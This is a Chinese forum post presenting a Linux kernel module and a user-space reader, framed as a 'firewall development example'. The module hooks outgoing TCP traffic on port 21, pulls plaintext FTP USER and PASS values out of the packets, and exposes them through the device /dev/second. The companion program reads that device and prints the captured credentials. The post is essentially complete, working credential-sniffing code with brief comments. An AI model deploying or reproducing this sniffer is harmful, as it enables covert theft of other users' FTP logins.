看流星社区

 找回密码
 注册账号
查看: 1799|回复: 0

linux防火墙开发实例 获取FTP账号密码

[复制链接]

该用户从未签到

发表于 2017-6-1 12:56:19 | 显示全部楼层 |阅读模式
代码里有注释
R0代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/netfilter_ipv4.h>
#include <linux/inet.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

#define SECOND_MAJOR 0

//用于显示IP
#define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]

//通信端口
static int second_major = SECOND_MAJOR;
//注册通信端口时用到的结构 保存端口信息
struct cdev g_cdev;


char *g_UserName = NULL;
char *g_PassWord = NULL;
char *g_Retstr = NULL;

int second_open(struct inode *inode, struct file *filp)
{
  printk("Open!\n");
  return 0;   
}

int second_release(struct inode *inode, struct file *filp)
{
    printk("Release!\n");
    return 0;
}
static ssize_t second_read(struct file *filp, char __user *buf, size_t count,
  loff_t *ppos)
{
  int ret = 0;
  //printk("Read!\n");
  if(g_UserName && g_PassWord && g_Retstr)
  {
          if(*g_UserName == '\0' || *g_PassWord == '\0')
        {
                return 0;
        }
          strcpy(g_Retstr,"UserID:");
        strcat(g_Retstr,g_UserName);
        strcat(g_Retstr," PassWord:");
        strcat(g_Retstr,g_PassWord);
  //断数据可以用put_user 字符串或大数据使用copy_to_user
    if (copy_to_user(buf,g_Retstr,256))
    {
       ret =  -EFAULT;
    }else
    {
       ret = 256;
    }
    memset(g_UserName,'\0',256);
        memset(g_PassWord,'\0',256);
  }

  return ret;
}

//通信分发函数设置
static const struct file_operations second_fops =
{
    .owner = THIS_MODULE,
    .open = second_open,//open
    .release = second_release,//close
    .read = second_read,//read
};

static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
    __be32 sip,dip;

    struct tcphdr *tcph = NULL;
    struct udphdr *udph = NULL;
    unsigned short sport = 0;
    unsigned short dport = 0;
    struct iphdr *iph;
    char *data = NULL;
    char *Username = NULL;
    char *PassWord = NULL;
    int i = 0;
    int len = 0;
    if(skb)
    {
        struct sk_buff *sb = NULL;
        sb = skb;
        //获取ip头
        iph  = ip_hdr(sb);
        //不说了
        sip = iph->saddr;
        dip = iph->daddr;

        //如果协议不是TCP就放过
        if(iph->protocol != IPPROTO_TCP)
          return NF_ACCEPT;   
      
      //获取tcp头
        /*
        ihl(Internet Header Length 报头长度),
        位于IP报文的第二个字段,4位,
        表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。
        */
       tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
       //要使用tcp_hdr 必须跳过ip头 也就是将ip端push出去
            //tcph = tcp_hdr(sb);
       //获得端口
        sport=ntohs(tcph->source);
        dport=ntohs(tcph->dest);
         //printk("dPort:%u",dport);
        if(dport != 21)
          return NF_ACCEPT;
        //获取tcp数据
        data = (char *)((int)tcph + (int)(tcph->doff * 4));

        //下面的可以抓个FTP包看看就明白了
        if(strncmp(data,"USER",4) == 0)
        {
            //printk("Found User!\n");
            data += 5;
            while (*(data + i) != '\r'
                && *(data + i) != '\n'
                && *(data + i) != '\0'
                && i < 15)
            {
                   len++;
                   i++;
            }

             if ((Username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
             {
                printk("UserName is null !\n");
                return NF_ACCEPT;
             }
                  
            memset(Username, 0x0, len + 2);
            memcpy(Username, data, len);
            *(Username + len) = '\0';   
            if(strcmp(Username,"anonymous") == 0)
            {
              kfree(Username);
              Username = NULL;
            }
          } else if(strncmp(data,&quotASS",4) == 0)
          {
            //printk("Found PassWord!\n");
            data += 5;
            while (*(data + i) != '\r'
                && *(data + i) != '\n'
                && *(data + i) != '\0'
                && i < 15)
            {
                   len++;
                   i++;
            }

              if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)
              {
                    printk("UserName is null !\n");
                    return NF_ACCEPT;
              }
                memset(PassWord,0x0,len+2);
                memcpy(PassWord,data,len);
                *(PassWord + len) = '\0';
                if(strstr(PassWord,"@"))
                {
                  kfree(PassWord);
                  PassWord=NULL;
                }
          }   else
          {
                    //        printk("No Found FTP!\n");
               return NF_ACCEPT;
          }
        //printk(&quotacket for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
          if(Username)
          {
            printk("UserName:%s\n",Username);
            memset(g_UserName,0x0,256);
           // strcpy(g_UserName,Username);
                        memcpy(g_UserName,Username,256);
            kfree(Username);
          }
          if(PassWord)
          {
            printk(&quotassWord:%s\n",PassWord);
            memset(g_PassWord,0x0,256);
           // strcpy(g_PassWord,PassWord);
                   memcpy(g_PassWord,PassWord,256);
            kfree(PassWord);
          }
    }
    return NF_ACCEPT;
}

//设置回调信息
struct nf_hook_ops ipprint_ops = {
   .list =  {NULL,NULL},
   .hook = ipprint_func,//回调函数
   .pf = PF_INET,//协议 ipv4还是ipv6
   .hooknum = NF_INET_POST_ROUTING,//hook在什么地方
   //.hooknum = NF_INET_LOCAL_IN,
   .priority = NF_IP_PRI_FILTER+2//优先级
};

static int __init ipprint_init(void)
{
    int ret;
        int iDevno = 0;
  //从用户那里尝试获得一个设备号
    dev_t devno = MKDEV(second_major, 0);
    //如果用户没有指定 就直接申请一个
    if (second_major)
    {
        ret = register_chrdev_region(devno, 1, "second");
    }else
    {
        ret = alloc_chrdev_region(&devno, 0, 1, "second");
        second_major = MAJOR(devno);
    }
    if (ret < 0)
    {
        return ret;
    }
    /*if((g_cdev = (struct cdev)kmalloc(sizeof(struct cdev),GFP_KERNEL)) == NULL)
    {
        ret = -ENOMEM;
        unregister_chrdev_region(devno, 1);
        return ret;
    }
    memset(g_cdev,0x0,sizeof(struct cdev));*/

    //获得设备号
    iDevno = MKDEV(second_major,0);
    //初始化通信
    cdev_init(&g_cdev, &second_fops);
    g_cdev.owner = THIS_MODULE;
    g_cdev.ops = &second_fops;
    ret = cdev_add(&g_cdev, iDevno, 1);
    if (ret)
    {
        printk(KERN_NOTICE "Error %d add second%d", ret, 0);
    }

    g_UserName = kmalloc(256,GFP_KERNEL);
    g_PassWord = kmalloc(256,GFP_KERNEL);
        g_Retstr = kmalloc(256,GFP_KERNEL);
    if(g_UserName==NULL || g_PassWord==NULL || g_Retstr == NULL )
    {
        unregister_chrdev_region(devno, 1);
        /*if(g_cdev)
            kfree(g_cdev);*/
        return -ENOMEM;
    }
    //注册网络防火墙
    nf_register_hook(&ipprint_ops);
    printk("DriverEntry!\n");
    return 0;
}


static void __exit ipprint_exit(void)
{
  nf_unregister_hook(&ipprint_ops);
  kfree(g_UserName);
  kfree(g_PassWord);
  kfree(g_Retstr);
  cdev_del(&g_cdev);
  //kfree(g_cdev);
  unregister_chrdev_region(MKDEV(second_major, 0), 1);
  printk("DriverUnload!\n");
}

module_init(ipprint_init);
module_exit(ipprint_exit);
module_param(second_major, int, S_IRUGO);
MODULE_AUTHOR("djwow");
MODULE_DESCRIPTION("GetFtpPassTest");
MODULE_LICENSE("GPL");
[/code]
R3代码:


#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <malloc.h>

int main(void)
{
    int fd, i;
    int data;
        //char *strFtp = malloc(256);
        //memset(strFtp,'\0',256);
        char strFtp[256] = {0};
    fd = open("/dev/second",O_RDONLY);
    if (fd < 0)
    {
        printf("open /dev/second error\n");
    }
        printf("input any key Get Ftp\n");
        getchar();
   
        while(1)
        {
            read(fd, strFtp, 256);
                if(*strFtp!='\0')
                {
                        printf("%s\n",strFtp);
                        printf("input any key Exit....\n");
                        getchar();
                        break;
                }
                sleep(1);
        }       
    close(fd);
}
[/code]
付一个FTP包
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 15:40

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表